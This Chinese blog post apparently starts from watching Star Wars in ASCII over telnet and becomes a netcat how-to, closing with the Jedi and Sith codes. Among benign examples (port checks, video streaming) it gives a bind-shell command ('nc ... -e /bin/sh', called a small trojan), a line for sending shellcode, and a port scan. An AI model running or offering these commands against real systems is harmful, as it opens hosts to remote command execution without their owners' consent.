为了账号安全,请及时绑定邮箱和手机立即绑定

命令行版星球大战 # 挖坟会不会被打?

标签:
Java

小姐姐味道【ID:xjjdog】
作者:十年架构,日百亿流量经验,与你分享。
5d501f7f0001473b03650174.jpg

很古老的小东东了,挖出来暴尸。

在任何平台,使用telnet即可开启视觉盛宴

https://img1.sycdn.imooc.com//5d501fb10001b36906790315.jpg

telnet towel.blinkenlights.nl

或者,使用瑞士军刀nc。下面主要讲解nc。

nc -v towel.blinkenlights.nl 23

https://img1.sycdn.imooc.com//5d501f2e000179cf06630329.jpg

nc -l -p 80

监听本机的80端口。

https://img1.sycdn.imooc.com//5d501f15000116a206610330.jpg

nc -nvv -w2 -z 192.168.x.x 80-445

扫描192.168.x.x的tcp 80到tcp 445的所有端口

https://img1.sycdn.imooc.com//5d501f4500019ffa06620336.jpg

nc -l -p 5432 -t -e /bin/sh

绑定command shell,小木马~
然后远程使用

nc ${ip} 5432

连接即可执行所有命令。

https://img1.sycdn.imooc.com//5d501f570001e49506640333.jpg

nc -nvv ip 80 < exploit.txt

发送shellcode!

https://img1.sycdn.imooc.com//5d501f6b0001f38b06550329.jpg

nc -v ip port

检测某个端口是否连通。

https://img1.sycdn.imooc.com//5d501f7f00013a4106560333.jpg

复杂例子:
树莓派获取视频流

Pi上

raspivid -t 999999 -o - | nc -l -p 5001 &

Client

nc 192.168.0.10 5001 | mplayer -fps 25 -cache 1024 -


《星球大战》,这个系列的电影最早在上世纪70年代上映,承载了一代人的童年和梦想。现如今,telnet就要作古了,但还是值得怀念的。毕竟,它已经霸占了23端口。

http://www.telnet.org/htm/places.htm

附注:绝地和西斯的信条两则

绝地信条

There is no emotion,there is peace.

无需激情,平静心智。

There is no ignorance,there is knowledge.

勿随愚昧,顺从真知。

There is no passion,there is serenity.

勿纵情欲,沉静明意。

There is no death,there is the Force.

无有灭亡,唯行原力。

西斯信条

Peace is a lie. There is only Passion.

(和平是谎言。唯有欲念存。)

Through Passion,I gain Strength.

(欲念生力量。)

Through Strength,I gain Power.

(力量生权力。)

Through Power,I gain Victory.

(权力生胜利。)

Through Victory,my Chains are broken.

(胜利破桎梏。)

The Force shall free me.

(原力任逍遥.)


点击查看更多内容
TA 点赞

若觉得本文不错,就分享一下吧!

评论

作者其他优质文章

正在加载中
JAVA开发工程师
手记
粉丝
4553
获赞与收藏
3234

关注作者,订阅最新文章

阅读免费教程

  • 推荐
  • 评论
  • 收藏
  • 共同学习,写下你的评论
感谢您的支持,我会继续努力的~
扫码打赏,你说多少就多少
赞赏金额会直接到老师账户
支付方式
打开微信扫一扫,即可进行扫码打赏哦
今天注册有机会得

100积分直接送

付费专栏免费学

大额优惠券免费领

立即参与 放弃机会
微信客服

购课补贴
联系客服咨询优惠详情

帮助反馈 APP下载

慕课网APP
您的移动学习伙伴

公众号

扫描二维码
关注慕课网微信公众号

举报

0/150
提交
取消